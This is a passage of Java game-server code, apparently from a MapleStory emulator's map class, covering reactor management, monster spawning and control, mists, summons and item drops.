sb.append(" | Mapid : ").append(this.mapid);
charactersLock.readLock().lock();
try {
sb.append(" Users [").append(characters.size()).append("] | ");
for (MapleCharacter mc : characters) {
sb.append(mc.getName()).append(", ");
}
} finally {
charactersLock.readLock().unlock();
}
return sb.toString();
}
public final void limitReactor(final int rid, final int num) {
List<MapleReactor> toDestroy = new ArrayList<>();
Map<Integer, Integer> contained = new LinkedHashMap<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = (MapleReactor) obj;
if (contained.containsKey(mr.getReactorId())) {
if (contained.get(mr.getReactorId()) >= num) {
toDestroy.add(mr);
} else {
contained.put(mr.getReactorId(), contained.get(mr.getReactorId()) + 1);
}
} else {
contained.put(mr.getReactorId(), 1);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
for (MapleReactor mr : toDestroy) {
destroyReactor(mr.getObjectId());
}
}
public final void destroyReactors(final int first, final int last) {
List<MapleReactor> toDestroy = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = (MapleReactor) obj;
if (mr.getReactorId() >= first && mr.getReactorId() <= last) {
toDestroy.add(mr);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
for (MapleReactor mr : toDestroy) {
destroyReactor(mr.getObjectId());
}
}
public final void destroyReactor(final int oid) {
final MapleReactor reactor = getReactorByOid(oid);
if (reactor == null) {
return;
}
broadcastMessage(CField.destroyReactor(reactor));
reactor.setAlive(false);
removeMapObject(reactor);
reactor.setTimerActive(false);
if (reactor.getDelay() > 0) {
MapTimer.getInstance().schedule(new Runnable() {
@Override
public final void run() {
respawnReactor(reactor);
}
}, reactor.getDelay());
}
}
public final void reloadReactors() {
List<MapleReactor> toSpawn = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
final MapleReactor reactor = (MapleReactor) obj;
broadcastMessage(CField.destroyReactor(reactor));
reactor.setAlive(false);
reactor.setTimerActive(false);
toSpawn.add(reactor);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
for (MapleReactor r : toSpawn) {
removeMapObject(r);
if (!r.isCustom()) { //guardians cpq
respawnReactor(r);
}
}
}
/*
* command to reset all item-reactors in a map to state 0 for GM/NPC use - not tested (broken reactors get removed
* from mapobjects when destroyed) Should create instances for multiple copies of non-respawning reactors...
*/
public final void resetReactors() {
setReactorState((byte) 0);
}
public final void setReactorState() {
setReactorState((byte) 1);
}
public final void setReactorState(final byte state) {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
for (MapleCharacter chr : this.getCharacters()){
((MapleReactor) obj).forceHitReactor(chr, state);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
public final void setReactorDelay(final int state) {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
((MapleReactor) obj).setDelay(state);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
/*
* command to shuffle the positions of all reactors in a map for PQ purposes (such as ZPQ/LMPQ)
*/
public final void shuffleReactors() {
shuffleReactors(0, 9999999); //all
}
public final void shuffleReactors(int first, int last) {
List<Point> points = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = (MapleReactor) obj;
if (mr.getReactorId() >= first && mr.getReactorId() <= last) {
points.add(mr.getPosition());
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
Collections.shuffle(points);
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = (MapleReactor) obj;
if (mr.getReactorId() >= first && mr.getReactorId() <= last) {
mr.setPosition(points.remove(points.size() - 1));
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
/**
* Automagically finds a new controller for the given monster from the chars
* on the map...
*
* @param monster
*/
public final void updateMonsterController(final MapleMonster monster) {
if (!monster.isAlive() || monster.getLinkCID() > 0 || monster.getStats().isEscort()) {
return;
}
if (monster.getController() != null) {
if (monster.getController().getMap() != this || monster.getController().getTruePosition().distanceSq(monster.getTruePosition()) > monster.getRange()) {
monster.getController().stopControllingMonster(monster);
} else { // Everything is fine :)
return;
}
}
int mincontrolled = -1;
MapleCharacter newController = null;
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter chr;
while (ltr.hasNext()) {
chr = ltr.next();
if (!chr.isHidden() && !chr.isClone() && (chr.getControlledSize() < mincontrolled || mincontrolled == -1) && chr.getTruePosition().distanceSq(monster.getTruePosition()) <= monster.getRange()) {
mincontrolled = chr.getControlledSize();
newController = chr;
}
}
} finally {
charactersLock.readLock().unlock();
}
if (newController != null) {
if (monster.isFirstAttack()) {
newController.controlMonster(monster, true);
monster.setControllerHasAggro(true);
monster.setControllerKnowsAboutAggro(true);
} else {
newController.controlMonster(monster, false);
}
}
}
public final MapleMapObject getMapObject(int oid, MapleMapObjectType type) {
mapobjectlocks.get(type).readLock().lock();
try {
return mapobjects.get(type).get(oid);
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
public final boolean containsNPC(int npcid) {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC n = (MapleNPC) itr.next();
if (n.getId() == npcid) {
return true;
}
}
return false;
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
}
public MapleNPC getNPCById(int id) {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC n = (MapleNPC) itr.next();
if (n.getId() == id) {
return n;
}
}
return null;
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
}
public MapleMonster getMonsterById(int id) {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
MapleMonster ret = null;
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.MONSTER).values().iterator();
while (itr.hasNext()) {
MapleMonster n = (MapleMonster) itr.next();
if (n.getId() == id) {
ret = n;
break;
}
}
return ret;
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
}
public int countMonsterById(int id) {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
int ret = 0;
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.MONSTER).values().iterator();
while (itr.hasNext()) {
MapleMonster n = (MapleMonster) itr.next();
if (n.getId() == id) {
ret++;
}
}
return ret;
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
}
public MapleReactor getReactorById(int id) {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
MapleReactor ret = null;
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.REACTOR).values().iterator();
while (itr.hasNext()) {
MapleReactor n = (MapleReactor) itr.next();
if (n.getReactorId() == id) {
ret = n;
break;
}
}
return ret;
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
/**
* returns a monster with the given oid, if no such monster exists returns
* null
*
* @param oid
* @return
*/
public final MapleMonster getMonsterByOid(final int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.MONSTER);
if (mmo == null) {
return null;
}
return (MapleMonster) mmo;
}
public final MapleNPC getNPCByOid(final int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.NPC);
if (mmo == null) {
return null;
}
return (MapleNPC) mmo;
}
public final MapleReactor getReactorByOid(final int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.REACTOR);
if (mmo == null) {
return null;
}
return (MapleReactor) mmo;
}
public final MonsterFamiliar getFamiliarByOid(final int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.FAMILIAR);
if (mmo == null) {
return null;
}
return (MonsterFamiliar) mmo;
}
public MapleMist getMistByChr(int cid, int skillid) {
for (MapleMist mist : getAllMistsThreadsafe()) {
if (mist.getOwnerId() == cid && mist.getSource().getSourceId() == skillid) {
return mist;
}
}
return null;
}
public void removeMist(final MapleMist Mist) {
this.removeMapObject(Mist);
this.broadcastMessage(CField.removeMist(Mist.getObjectId(), false));
}
public void removeSummon(final int summonid) {
MapleSummon summon = (MapleSummon) getMapObject(summonid, MapleMapObjectType.SUMMON);
this.removeMapObject(summon);
this.broadcastMessage(SummonPacket.removeSummon(summon, false));
}
public MapleMist getMistByOid(int oid) {
MapleMapObject mmo = getMapObject(oid, MapleMapObjectType.MIST);
if (mmo == null) {
return null;
}
return (MapleMist) mmo;
}
public final MapleReactor getReactorByName(final String name) {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = ((MapleReactor) obj);
if (mr.getName().equalsIgnoreCase(name)) {
return mr;
}
}
return null;
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
public final void spawnNpc(final int id, final Point pos) {
final MapleNPC npc = MapleLifeFactory.getNPC(id);
npc.setPosition(pos);
npc.setCy(pos.y);
npc.setRx0(pos.x + 50);
npc.setRx1(pos.x - 50);
npc.setFh(getFootholds().findBelow(pos, false).getId());
npc.setCustom(true);
addMapObject(npc);
broadcastMessage(NPCPacket.spawnNPC(npc, true));
}
public final void spawnNpcForPlayer(MapleClient c, final int id, final Point pos) {
final MapleNPC npc = MapleLifeFactory.getNPC(id);
npc.setPosition(pos);
npc.setCy(pos.y);
npc.setRx0(pos.x + 50);
npc.setRx1(pos.x - 50);
npc.setFh(getFootholds().findBelow(pos, false).getId());
npc.setCustom(true);
addMapObject(npc);
c.getSession().write(NPCPacket.spawnNPC(npc, true));
}
public final void removeNpc(final int npcid) {
mapobjectlocks.get(MapleMapObjectType.NPC).writeLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC npc = (MapleNPC) itr.next();
if (npc.isCustom() && (npcid == -1 || npc.getId() == npcid)) {
broadcastMessage(NPCPacket.removeNPCController(npc.getObjectId()));
broadcastMessage(NPCPacket.removeNPC(npc.getObjectId()));
itr.remove();
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).writeLock().unlock();
}
}
public final void hideNpc(final int npcid) {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC npc = (MapleNPC) itr.next();
if (npcid == -1 || npc.getId() == npcid) {
broadcastMessage(NPCPacket.removeNPCController(npc.getObjectId()));
broadcastMessage(NPCPacket.removeNPC(npc.getObjectId()));
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
}
public final void hideNpc(MapleClient c, final int npcid) {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(MapleMapObjectType.NPC).values().iterator();
while (itr.hasNext()) {
MapleNPC npc = (MapleNPC) itr.next();
if (npcid == -1 || npc.getId() == npcid) {
c.getSession().write(NPCPacket.removeNPCController(npc.getObjectId()));
c.getSession().write(NPCPacket.removeNPC(npc.getObjectId()));
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
}
public final void spawnReactorOnGroundBelow(final MapleReactor mob, final Point pos) {
mob.setPosition(pos); //reactors dont need FH lol
mob.setCustom(true);
spawnReactor(mob);
}
public final void spawnMonster_sSack(final MapleMonster mob, final Point pos, final int spawnType) {
mob.setPosition(calcPointBelow(new Point(pos.x, pos.y - 1)));
spawnMonster(mob, spawnType);
}
public final void spawnMonsterOnGroundBelow(final MapleMonster mob, final Point pos) {
spawnMonster_sSack(mob, pos, -2);
}
public final int spawnMonsterWithEffectBelow(final MapleMonster mob, final Point pos, final int effect) {
final Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
return spawnMonsterWithEffect(mob, effect, spos);
}
public final void spawnSimpleZakum(final int x, final int y) {
final Point pos = new Point(x, y);
final MapleMonster mainb = MapleLifeFactory.getMonster(8800020);
final Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
mainb.setPosition(spos);
mainb.setFake(true);
// Might be possible to use the map object for reference in future.
spawnFakeMonster(mainb);
final int[] zakpart = {8800023, 8800024, 8800025, 8800026, 8800027,
8800028, 8800029, 8800030};
for (final int i : zakpart) {
final MapleMonster part = MapleLifeFactory.getMonster(i);
part.setPosition(spos);
spawnMonster(part, -2);
}
//if (squadSchedule != null) {
// cancelSquadSchedule(false);
//}
}
public final void spawnZakum(final int x, final int y) {
final Point pos = new Point(x, y);
final MapleMonster mainb = MapleLifeFactory.getMonster(8800000);
final Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
mainb.setPosition(spos);
mainb.setFake(true);
// Might be possible to use the map object for reference in future.
spawnFakeMonster(mainb);
final int[] zakpart = {8800003, 8800004, 8800005, 8800006, 8800007,
8800008, 8800009, 8800010};
for (final int i : zakpart) {
final MapleMonster part = MapleLifeFactory.getMonster(i);
part.setPosition(spos);
spawnMonster(part, -2);
}
//if (squadSchedule != null) {
// cancelSquadSchedule(false);
//}
}
public final void spawnChaosZakum(final int x, final int y) {
final Point pos = new Point(x, y);
final MapleMonster mainb = MapleLifeFactory.getMonster(8800100);
final Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
mainb.setPosition(spos);
mainb.setFake(true);
// Might be possible to use the map object for reference in future.
spawnFakeMonster(mainb);
final int[] zakpart = {8800103, 8800104, 8800105, 8800106, 8800107,
8800108, 8800109, 8800110};
for (final int i : zakpart) {
final MapleMonster part = MapleLifeFactory.getMonster(i);
part.setPosition(spos);
spawnMonster(part, -2);
}
//if (squadSchedule != null) {
// cancelSquadSchedule(false);
// }
}
public final void spawnFakeMonsterOnGroundBelow(final MapleMonster mob, final Point pos) {
Point spos = calcPointBelow(new Point(pos.x, pos.y - 1));
spos.y -= 1;
mob.setPosition(spos);
spawnFakeMonster(mob);
}
private void checkRemoveAfter(final MapleMonster monster) {
final int ra = monster.getStats().getRemoveAfter();
if (ra > 0 && monster.getLinkCID() <= 0) {
monster.registerKill(ra * 1000);
}
}
public final void spawnRevives(final MapleMonster monster, final int oid) {
monster.setMap(this);
checkRemoveAfter(monster);
monster.setLinkOid(oid);
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
if (GameConstants.isAzwanMap(c.getPlayer().getMapId())) {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 ? -3 : monster.getStats().getSummonType(), oid, true));
} else {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 ? -3 : monster.getStats().getSummonType(), oid, false));
}
}
});
updateMonsterController(monster);
spawnedMonstersOnMap.incrementAndGet();
}
/* public final void spawnMonster(final MapleMonster monster, final int spawnType) {
spawnMonster(monster, spawnType, false);
}
public final void spawnMonster(final MapleMonster monster, final int spawnType, final boolean overwrite) {
monster.setMap(this);
checkRemoveAfter(monster);
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
public final void sendPackets(MapleClient c) {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 || monster.getStats().getSummonType() == 27 || overwrite ? spawnType : monster.getStats().getSummonType(), 0));
}
});
updateMonsterController(monster);
spawnedMonstersOnMap.incrementAndGet();
}
*/
public final void spawnMonster(MapleMonster monster, int spawnType) {
spawnMonster(monster, spawnType, false);
}
public final void spawnMonster(final MapleMonster monster, final int spawnType, final boolean overwrite) {
if (this.getId() == 109010100 && monster.getId() != 9300166) {
return;
}
monster.setMap(this);
checkRemoveAfter(monster);
if (monster.getId() == 9300166) {
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), 2, false));
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
System.out.println("Error spawning monster: " + ex);
}
removeMapObject(monster);
}
}, this.getId() == 109010100 ? 1500 /*Bomberman*/ : this.getId() == 910025200 ? 200 /*The Dragon's Shout*/ : 3000);
}
/*if (MoonlightRevamp.MoonlightRevamp) {
MapleMonsterStats stats = MapleLifeFactory.getMonsterStats(monster.getId());
OverrideMonsterStats overrideStats = new OverrideMonsterStats(monster.getHp() / MoonlightRevamp.monsterHpDivision, monster.getMp(), stats.getExp());
monster.setOverrideStats(overrideStats);
//monster.setHp(monster.getHp() / MoonlightRevamp.monsterHpDivision); //Isn't needed because of override stats
stats.setPDRate(stats.isBoss() ? MoonlightRevamp.getBossPDRateMultipy(stats.getPDRate()) : (byte) (stats.getPDRate() + MoonlightRevamp.getPDRateAddition(stats.getPDRate())));
stats.setMDRate(stats.isBoss() ? MoonlightRevamp.getBossMDRateMultipy(stats.getMDRate()) : (byte) (stats.getMDRate() + MoonlightRevamp.getMDRateAddition(stats.getMDRate())));
}*/
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
if (GameConstants.isAzwanMap(c.getPlayer().getMapId())) {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 || monster.getStats().getSummonType() == 27 || overwrite ? spawnType : monster.getStats().getSummonType(), 0, true));
} else {
c.getSession().write(MobPacket.spawnMonster(monster, monster.getStats().getSummonType() <= 1 || monster.getStats().getSummonType() == 27 || overwrite ? spawnType : monster.getStats().getSummonType(), 0, false));
}
}
});
updateMonsterController(monster);
this.spawnedMonstersOnMap.incrementAndGet();
String spawnMsg = null;
switch (monster.getId()) {
case 9300815:
spawnMsg = "伴隨著一陣陰森的感覺,紅寶王出現了.";
break;
}
if (spawnMsg != null) {
broadcastMessage(CWvsContext.broadcastMsg(6, spawnMsg));
}
}
public final int spawnMonsterWithEffect(final MapleMonster monster, final int effect, Point pos) {
try {
monster.setMap(this);
monster.setPosition(pos);
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
if (GameConstants.isAzwanMap(c.getPlayer().getMapId())) {
c.getSession().write(MobPacket.spawnMonster(monster, effect, 0, true));
} else {
c.getSession().write(MobPacket.spawnMonster(monster, effect, 0, false));
}
}
});
updateMonsterController(monster);
spawnedMonstersOnMap.incrementAndGet();
return monster.getObjectId();
} catch (Exception e) {
return -1;
}
}
public final void spawnFakeMonster(final MapleMonster monster) {
monster.setMap(this);
monster.setFake(true);
spawnAndAddRangedMapObject(monster, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
if (GameConstants.isAzwanMap(c.getPlayer().getMapId())) {
c.getSession().write(MobPacket.spawnMonster(monster, -4, 0, true));
} else {
c.getSession().write(MobPacket.spawnMonster(monster, -4, 0, false));
}
}
});
updateMonsterController(monster);
spawnedMonstersOnMap.incrementAndGet();
}
public final void spawnReactor(final MapleReactor reactor) {
reactor.setMap(this);
spawnAndAddRangedMapObject(reactor, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
c.getSession().write(CField.spawnReactor(reactor));
}
});
}
private void respawnReactor(final MapleReactor reactor) {
reactor.setState((byte) 0);
reactor.setAlive(true);
spawnReactor(reactor);
}
public final void spawnRune(final MapleRune rune) {
rune.setMap(this);
spawnAndAddRangedMapObject(rune, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
rune.sendSpawnData(c);
c.getSession().write(CWvsContext.enableActions());
}
});
}
public final void spawnDoor(final MapleDoor door) {
spawnAndAddRangedMapObject(door, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
door.sendSpawnData(c);
c.getSession().write(CWvsContext.enableActions());
}
});
}
public final void spawnMechDoor(final MechDoor door) {
spawnAndAddRangedMapObject(door, new DelayedPacketCreation() {
@Override
public final void sendPackets(MapleClient c) {
c.getSession().write(CField.spawnMechDoor(door, true));
c.getSession().write(CWvsContext.enableActions());
}
});
}
public final void spawnSummon(final MapleSummon summon) {
summon.updateMap(this);
spawnAndAddRangedMapObject(summon, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
if (summon != null && c.getPlayer() != null && (!summon.isChangedMap() || summon.getOwnerId() == c.getPlayer().getId())) {
c.getSession().write(SummonPacket.spawnSummon(summon, true));
}
}
});
}
public final void spawnFamiliar(final MonsterFamiliar familiar, final boolean respawn) {
spawnAndAddRangedMapObject(familiar, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
if (familiar != null && c.getPlayer() != null) {
c.getSession().write(CField.spawnFamiliar(familiar, true, respawn));
}
}
});
}
public final void spawnExtractor(final MapleExtractor ex) {
spawnAndAddRangedMapObject(ex, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
ex.sendSpawnData(c);
}
});
}
public final void spawnMist(final MapleMist mist, final int duration, boolean fake) {
spawnAndAddRangedMapObject(mist, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
mist.sendSpawnData(c);
}
});
final MapTimer tMan = MapTimer.getInstance();
final ScheduledFuture<?> poisonSchedule;
switch (mist.isPoisonMist()) {
case 1:
//poison: 0 = none, 1 = poisonous, 2 = recovery
final MapleCharacter owner = getCharacterById(mist.getOwnerId());
final boolean pvp = owner.inPVP();
poisonSchedule = tMan.register(new Runnable() {
@Override
public void run() {
for (final MapleMapObject mo : getMapObjectsInRect(mist.getBox(), Collections.singletonList(pvp ? MapleMapObjectType.PLAYER : MapleMapObjectType.MONSTER))) {
if (pvp && mist.makeChanceResult() && !((MapleCharacter) mo).hasDOT() && ((MapleCharacter) mo).getId() != mist.getOwnerId()) {
((MapleCharacter) mo).setDOT(mist.getSource().getDOT(), mist.getSourceSkill().getId(), mist.getSkillLevel());
} else if (!pvp && mist.makeChanceResult() && !((MapleMonster) mo).isBuffed(MonsterStatus.POISON)) {
((MapleMonster) mo).applyStatus(owner, new MonsterStatusEffect(MonsterStatus.POISON, 1, mist.getSourceSkill().getId(), null, false), true, duration, true, mist.getSource());
}
}
}
}, 2000, 2500);
break;
case 4:
poisonSchedule = tMan.register(new Runnable() {
@Override
public void run() {
for (final MapleMapObject mo : getMapObjectsInRect(mist.getBox(), Collections.singletonList(MapleMapObjectType.PLAYER))) {
if (mist.makeChanceResult()) {
final MapleCharacter chr = ((MapleCharacter) mo);
chr.addMP((int) (mist.getSource().getX() * (chr.getStat().getMaxMp() / 100.0)));
}
}
}
}, 2000, 2500);
break;
default:
poisonSchedule = null;
break;
}
mist.setPoisonSchedule(poisonSchedule);
mist.setSchedule(tMan.schedule(new Runnable() {
@Override
public void run() {
broadcastMessage(CField.removeMist(mist.getObjectId(), false));
removeMapObject(mist);
if (poisonSchedule != null) {
poisonSchedule.cancel(false);
}
}
}, duration));
}
public final void disappearingItemDrop(final MapleMapObject dropper, final MapleCharacter owner, final Item item, final Point pos) {
final Point droppos = calcDropPos(pos, pos);
final MapleMapItem drop = new MapleMapItem(item, droppos, dropper, owner, (byte) 1, false);
broadcastMessage(CField.dropItemFromMapObject(drop, dropper.getTruePosition(), droppos, (byte) 3), drop.getTruePosition());
}
public final void spawnMesoDrop(final int meso, final Point position, final MapleMapObject dropper, final MapleCharacter owner, final boolean playerDrop, final byte droptype) {
final Point droppos = calcDropPos(position, position);
final MapleMapItem mdrop = new MapleMapItem(meso, droppos, dropper, owner, droptype, playerDrop);
spawnAndAddRangedMapObject(mdrop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
c.getSession().write(CField.dropItemFromMapObject(mdrop, dropper.getTruePosition(), droppos, (byte) 1));
}
});
if (!everlast) {
mdrop.registerExpire(120000);
if (droptype == 0 || droptype == 1) {
mdrop.registerFFA(30000);
}
}
}
public final void spawnMobMesoDrop(final int meso, final Point position, final MapleMapObject dropper, final MapleCharacter owner, final boolean playerDrop, final byte droptype) {
final MapleMapItem mdrop = new MapleMapItem(meso, position, dropper, owner, droptype, playerDrop);
spawnAndAddRangedMapObject(mdrop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
c.getSession().write(CField.dropItemFromMapObject(mdrop, dropper.getTruePosition(), position, (byte) 1));
}
});
mdrop.registerExpire(120000);
if (droptype == 0 || droptype == 1) {
mdrop.registerFFA(30000);
}
}
public final void spawnMobDrop(final Item idrop, final Point dropPos, final MapleMonster mob, final MapleCharacter chr, final byte droptype, final int questid) {
final MapleMapItem mdrop = new MapleMapItem(idrop, dropPos, mob, chr, droptype, false, questid);
spawnAndAddRangedMapObject(mdrop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
if (c != null && c.getPlayer() != null && (questid <= 0 || c.getPlayer().getQuestStatus(questid) == 1) && (idrop.getItemId() / 10000 != 238 || c.getPlayer().getMonsterBook().getLevelByCard(idrop.getItemId()) >= 2) && mob != null && dropPos != null) {
c.getSession().write(CField.dropItemFromMapObject(mdrop, mob.getTruePosition(), dropPos, (byte) 1));
}
}
});
// broadcastMessage(CField.dropItemFromMapObject(mdrop, mob.getTruePosition(), dropPos, (byte) 0));
if (chr.isEquippedSoulWeapon()) {
chr.getClient().getSession().write(CWvsContext.BuffPacket.giveSoulGauge(chr.addgetSoulCount(), chr.getEquippedSoulSkill()));
chr.checkSoulState(false);
}
if (mob.getStats().getWP() > 0 && MapleJob.is神之子(chr.getJob())) {
chr.addWeaponPoint(mob.getStats().getWP());
}
mdrop.registerExpire(120000);
if (droptype == 0 || droptype == 1) {
mdrop.registerFFA(30000);
}
activateItemReactors(mdrop, chr.getClient());
}
public final void spawnRandDrop() {
if (mapid != 910000000 || channel != 1) {
return; //fm, ch1
}
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
for (MapleMapObject o : mapobjects.get(MapleMapObjectType.ITEM).values()) {
if (((MapleMapItem) o).isRandDrop()) {
return;
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
final Point pos = new Point(Randomizer.nextInt(800) + 531, -806);
final int theItem = Randomizer.nextInt(1000);
int itemid = 0;
if (theItem < 950) { //0-949 = normal, 950-989 = rare, 990-999 = super
itemid = GameConstants.normalDrops[Randomizer.nextInt(GameConstants.normalDrops.length)];
} else if (theItem < 990) {
itemid = GameConstants.rareDrops[Randomizer.nextInt(GameConstants.rareDrops.length)];
} else {
itemid = GameConstants.superDrops[Randomizer.nextInt(GameConstants.superDrops.length)];
}
spawnAutoDrop(itemid, pos);
}
}, 20000);
}
public final void spawnAutoDrop(final int itemid, final Point pos) {
Item idrop = null;
final MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
if (GameConstants.getInventoryType(itemid) == MapleInventoryType.EQUIP) {
idrop = ii.randomizeStats((Equip) ii.getEquipById(itemid));
} else {
idrop = new Item(itemid, (byte) 0, (short) 1, (byte) 0);
}
idrop.setGMLog("從自動掉寶中獲得, 地圖:" + this + ", 時間:" + FileoutputUtil.CurrentReadable_Time());
final MapleMapItem mdrop = new MapleMapItem(pos, idrop);
spawnAndAddRangedMapObject(mdrop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
c.getSession().write(CField.dropItemFromMapObject(mdrop, pos, pos, (byte) 1));
}
});
broadcastMessage(CField.dropItemFromMapObject(mdrop, pos, pos, (byte) 0));
if (itemid / 10000 != 291) {
mdrop.registerExpire(120000);
}
}
public final void spawnItemDrop(final MapleMapObject dropper, final MapleCharacter owner, final Item item, Point pos, final boolean ffaDrop, final boolean playerDrop) {
final Point droppos = calcDropPos(pos, pos);
final MapleMapItem drop = new MapleMapItem(item, droppos, dropper, owner, (byte) 2, playerDrop);
spawnAndAddRangedMapObject(drop, new DelayedPacketCreation() {
@Override
public void sendPackets(MapleClient c) {
c.getSession().write(CField.dropItemFromMapObject(drop, dropper.getTruePosition(), droppos, (byte) 1));
}
});
broadcastMessage(CField.dropItemFromMapObject(drop, dropper.getTruePosition(), droppos, (byte) 0));
if (!everlast) {
drop.registerExpire(120000);
activateItemReactors(drop, owner.getClient());
}
}
private void activateItemReactors(final MapleMapItem drop, final MapleClient c) {
final Item item = drop.getItem();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (final MapleMapObject o : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
final MapleReactor react = (MapleReactor) o;
if (react.getReactorType() == 100) {
if (item.getItemId() == GameConstants.getCustomReactItem(react.getReactorId(), react.getReactItem().getLeft()) && react.getReactItem().getRight() == item.getQuantity()) {
if (react.getArea().contains(drop.getTruePosition())) {
if (!react.isTimerActive()) {
MapTimer.getInstance().schedule(new ActivateItemReactor(drop, react, c), 5000);
